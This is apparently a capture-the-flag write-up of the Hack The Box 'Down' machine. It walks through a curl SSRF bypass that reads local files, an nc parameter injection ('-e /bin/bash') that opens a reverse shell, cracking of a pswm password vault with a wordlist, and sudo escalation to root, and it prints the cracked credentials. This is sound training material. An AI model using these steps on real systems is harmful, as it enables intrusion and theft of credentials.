Skip to main content
HTB: Down
  1. Posts/

HTB: Down

Table of Contents

Introduction
#

An easy linux box centered around an is it down type website. This suggests an SSRF that can be exploited with a little bit of filter bypass. I can use curl feature of taking multiple URLs and pass the second one with the file:// schema to read from the host. There I can get access to the source code of the page and find there is an ’expert mode’ that will make a raw TCP connection with netcat. From that I can use a parameter injection to get a shell. Inside there is a password manager - pswm - instance with the next user’s password. This user has (ALL : ALL) ALL privileges so the root is right there.

Recon
#

nmap
#

nmap finds two open TCP ports, 22 (SSH) and 80 (HTTP):

sudo nmap -sC -sV -oA nmap_scan/nmap_results 10.129.145.123
  • -sC for defaults scripts
  • -sV enumerate version
  • -oA output in all formats
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-30 10:56 EDT
Nmap scan report for 10.129.145.123
Host is up (0.078s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
|_  256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.50 seconds

There is an Ubuntu server (port 22) and Apache running on Ubuntu (port 80)

Website - TCP 80
#

The website is a simple is it down type site.

Website

If I enter any site it freezes for a while and eventually reports false information:

Down

If I start a listener on my machine, it makes a request to it I get:

└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.39] from
(UNKNOWN) [10.129.145.123] 55686
GET / HTTP/1.1
Host: 10.10.14.39:4444
User-Agent: curl/7.81.0
Accept: */*

It uses curl to make the request.

If I request http://localhost, it returns:

Localhost

Shell as www-data
#

File read
#

curl can grab files using file:// instead of http://, so lets try that:

file

It fails and shows there is a filter Only protocols http or https allowed.

It seems to only check the start of the string.

filter

Luckily, curl has the option to input multiple URLs like this: curl -s http://localhost:8080/test http://localhost:8080/test2

┌──(kali㉿kali)-[~/CTF/HTB/Down]
└─$ curl -s http://localhost:8081/test1 http://localhost:8081/test2
<!DOCTYPE HTML>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 404</p>
        <p>Message: File not found.</p>
        <p>Error code explanation: 404 - Nothing matches the given URI.</p>
    </body>
</html>
<!DOCTYPE HTML>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 404</p>
        <p>Message: File not found.</p>
        <p>Error code explanation: 404 - Nothing matches the given URI.</p>
    </body>
</html>

Using that I can put arbitrary http:// page first and try file:// as the second URL:

vuln1

It works!

System Enumeration
#

I can get the environment variables for the current process

env
APACHE_RUN_DIR=/var/run/apache2
SYSTEMD_EXEC_PID=1012
APACHE_PID_FILE=/var/run/apache2/apache2.pid
JOURNAL_STREAM=8:23064
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
INVOCATION_ID=8cfe2b9d930248a09b0bbd3e27cfd89a
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html

I can get the page source with url=http:// file:///proc/self/cwd/index.php

cwd = current working directory
source

After decoding the HTML encoded output I have this:

!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Is it down or just me?</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>

    <header>
        <img src="/logo.png" alt="Logo">
        <h2>Is it down or just me?</h2>
    </header>

    <div class="container">

<?php
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
  echo '<h1>Is the port refused, or is it just you?</h1>
        <form id="urlForm" action="index.php?expertmode=tcp" method="POST">
            <input type="text" id="url" name="ip" placeholder="Please enter an IP." required><br>
            <input type="number" id="port" name="port" placeholder="Please enter a port number." required><br>
            <button type="submit">Is it refused?</button>
        </form>';
} else {
  echo '<h1>Is that website down, or is it just you?</h1>
        <form id="urlForm" action="index.php" method="POST">
            <input type="url" id="url" name="url" placeholder="Please enter a URL." required><br>
            <button type="submit">Is it down?</button>
        </form>';
}

if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
  $ip = trim($_POST['ip']);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST['port']);
  $port_int = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
  if ( $valid_ip && $valid_port ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
    exec($ec . " 2>&1",$output,$rc);
    echo '<div class="output" id="outputSection">';
    if ( $rc === 0 ) {
      echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    } else {
      echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    }
  } else {
    echo '<div class="output" id="outputSection">';
    echo '<font color=red size=+1>Please specify a correct IP and a port between 1 and 65535.</font>';
  }
} elseif (isset($_POST['url'])) {
  $url = trim($_POST['url']);
  if ( preg_match('|^https?://|',$url) ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/curl -s $url");
    exec($ec . " 2>&1",$output,$rc);
    echo '<div class="output" id="outputSection">';
    if ( $rc === 0 ) {
      echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    } else {
      echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
    }
  } else {
    echo '<div class="output" id="outputSection">';
    echo '<font color=red size=+1>Only protocols http or https allowed.</font>';
  }
}
?>

</div>
</div>
<footer>© 2024 isitdownorjustme LLC</footer>
</body>
</html>

Code Analysis
#

Expert mode
#

At the start of the php section there is an if branch

if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {

It checks if there is an expertmode parameter with value “tcp”.

I can add ?expertmode=tcp to the URL and get different input windows.

expertmode

Vulnerability
#

The code has a serious flaw, it uses unvalidated input in exec()

// ... inside the 'expertmode=tcp' and POST check ...
  $ip = trim($_POST['ip']);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST['port']);
  $port_int = intval($port); // Converts to an integer, stopping at the first non-numeric char
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT); // Validates the integer part

  if ( $valid_ip && $valid_port ) {
    // ...
    // DANGEROUS LINE: Uses $port, not $port_int, and then uses escapeshellcmd
    $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port"); 
    exec($ec . " 2>&1",$output,$rc);
    // ...
  }
// ...

The intent was to validate the user’s input for the port number ($port). It correctly converts the input to an integer using intval($port), storing it in $port_int. It then correctly validates that the integer value is an integer using filter_var($port_int, FILTER_VALIDATE_INT).

However, the code then constructs the shell command using the original, potentially unvalidated string $port instead of the validated integer value $port_int.

The intval() Issue

The PHP intval() function attempts to get the integer value of a string. If the string starts with a number, it will stop at the first non-numeric character.

If I enter "22; ls -la", then $port is "22; ls -la", but $port_int is 22. The validation check ($valid_port) passes because $port_int is a valid integer.

escapeshellcmd will prevent command injection, but it will not prevent parameter injection. So I can send -e /bin/bash and try to get a shell.

Exploit
#

exploit

After a few seconds there is a connection to my listener and I have a shell.

┌──(kali㉿kali)-[~/CTF/HTB/Down]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.39] from (UNKNOWN) [10.129.145.123] 54416

The user flag is in www-data home directory in the html folder.

Root
#

Enumeration
#

There is only one user in /home - aleks. For some reason the www-data has access to it. I can not get to .ssh, but there is a pswm file.

└─$ cd /home/aleks
ls -la
total 36
drwxr-xr-x 5 aleks aleks 4096 May 27 23:51 .
drwxr-xr-x 3 root  root  4096 Sep 13  2024 ..
lrwxrwxrwx 1 root  root     9 May  1 22:31 .bash_history -> /dev/null
-rw-r--r-- 1 aleks aleks  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 aleks aleks 3771 Jan  6  2022 .bashrc
drwx------ 2 aleks aleks 4096 Sep  6  2024 .cache
-rw------- 1 aleks aleks   20 May 27 23:51 .lesshst
drwxrwxr-x 3 aleks aleks 4096 Sep  6  2024 .local
-rw-r--r-- 1 aleks aleks  807 Jan  6  2022 .profile
drwx------ 2 aleks aleks 4096 Sep  6  2024 .ssh
-rw-r--r-- 1 aleks aleks    0 Sep 15  2024 .sudo_as_admin_successful
└─$ find . -type f
./.lesshst
./.bashrc
./.sudo_as_admin_successful
./.local/share/pswm/pswm
./.profile
./.bash_logout

pswm
#

A simple command line password manager written in Python.

The pswm file contains something that looks like base64 encoded and encrypted string.

└─$ cat .local/share/pswm/pswm
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==

Decrypt
#

There is a tool pswm-decryptor. It takes the pswm encrypted file and a wordlist, with rockyou.txt it returned the passwords almost immediately.

┌──(ctf_venv)(kali㉿kali)-[~/CTF/HTB/Down]
└─$ python3 pswm-decryptor/pswm-decrypt.py -f pswm_file -w ~/Tools/rockyou.txt 
[+] Master Password: flower
[+] Decrypted Data:
+------------+----------+----------------------+
| Alias      | Username | Password             |
+------------+----------+----------------------+
| pswm       | aleks    | flower               |
| aleks@down | aleks    | 1uY3w22uc-Wr{xNHR~+E |
+------------+----------+----------------------+

Aleks
#

With this password I can su to aleks, or use ssh to connect.

Aleks can run any command with sudo:

aleks@down:~$ sudo -l
[sudo] password for aleks: 
Matching Defaults entries for aleks on down:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User aleks may run the following commands on down:
    (ALL : ALL) ALL

So I can simple sudo su and get the root flag.

Author
~